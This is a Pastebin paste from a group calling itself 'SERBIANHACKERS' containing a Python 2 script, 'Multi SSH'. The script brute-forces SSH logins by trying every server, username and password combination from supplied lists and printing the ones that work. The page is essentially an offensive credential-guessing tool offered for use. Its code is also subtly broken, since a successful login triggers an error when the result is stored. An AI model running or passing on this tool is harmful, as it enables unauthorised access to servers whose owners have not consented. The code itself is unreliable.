Advertisement
SERBIANHACKERS

SRBTOOL | Multi SSH

Apr 14th, 2017
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.25 KB | None | 0 0
  1. #SRBHACKERS
  2.  
  3. #!/usr/bin/env python
  4.  
  5. import multiprocessing
  6. import paramiko
  7. import sys
  8. import time
  9. import Queue
  10.  
  11.  
  12. def worker(cred_queue, success_queue):
  13.     print('Starting new worker thread.')
  14.     while True:
  15.         try:
  16.             creds = cred_queue.get(timeout=10)
  17.         except Queue.Empty:
  18.             return
  19.  
  20.         try:
  21.             ssh = paramiko.SSHClient()
  22.             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  23.             ssh.connect(creds[0], username=creds[1], password=creds[2])
  24.             success_queue.append((creds[0], creds[1], creds[2]))
  25.         except paramiko.AuthenticationException:
  26.             print 'Fail: {0} {1} {2}'.format(creds[0], creds[1], creds[2])
  27.         except Exception, e:
  28.             print 'Fail: {0} {1}'.format(creds[0], str(e))
  29.             cred_queue.put(creds)
  30.             return
  31.  
  32.         time.sleep(.5)
  33.  
  34. def file_to_list(filename):
  35.     data = []
  36.    
  37.     with open(filename, 'r') as f:
  38.         for line in f:
  39.             line = line.strip()
  40.             if line == '': continue
  41.             if line.startswith('#'): continue
  42.             data.append(line)
  43.  
  44.     return data
  45.  
  46. if __name__ == '__main__':
  47.     if len(sys.argv) != 4:
  48.         print 'Usage: multi_ssh.py server_file username_file password_file'
  49.         sys.exit()
  50.  
  51.     threads = 4
  52.     servers = file_to_list(sys.argv[1])
  53.     usernames = file_to_list(sys.argv[2])
  54.     passwords = file_to_list(sys.argv[3])
  55.  
  56.     cred_queue = multiprocessing.Queue()
  57.     success_queue = multiprocessing.Queue()
  58.     procs = []
  59.  
  60.     print('Starting worker {0} worker threads.'.format(threads))
  61.     for i in range(threads):
  62.         p = multiprocessing.Process(target=worker,
  63.                                     args=(cred_queue, success_queue))
  64.         procs.append(p)
  65.         p.start()
  66.  
  67.     print('Loading credential queue.')
  68.     for server in servers:
  69.         for user in usernames:
  70.             for pwd in passwords:
  71.                 cred_queue.put((server, user, pwd))
  72.  
  73.     # Wait for all worker processes to finish
  74.     for p in procs:
  75.         p.join()
  76.  
  77.     # Print any successful credentials
  78.     while not success_queue.empty():
  79.         ip, user, pwd = success_queue.get()
  80.         print '{0}: {1}/{2}'.format(ip, user, pwd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement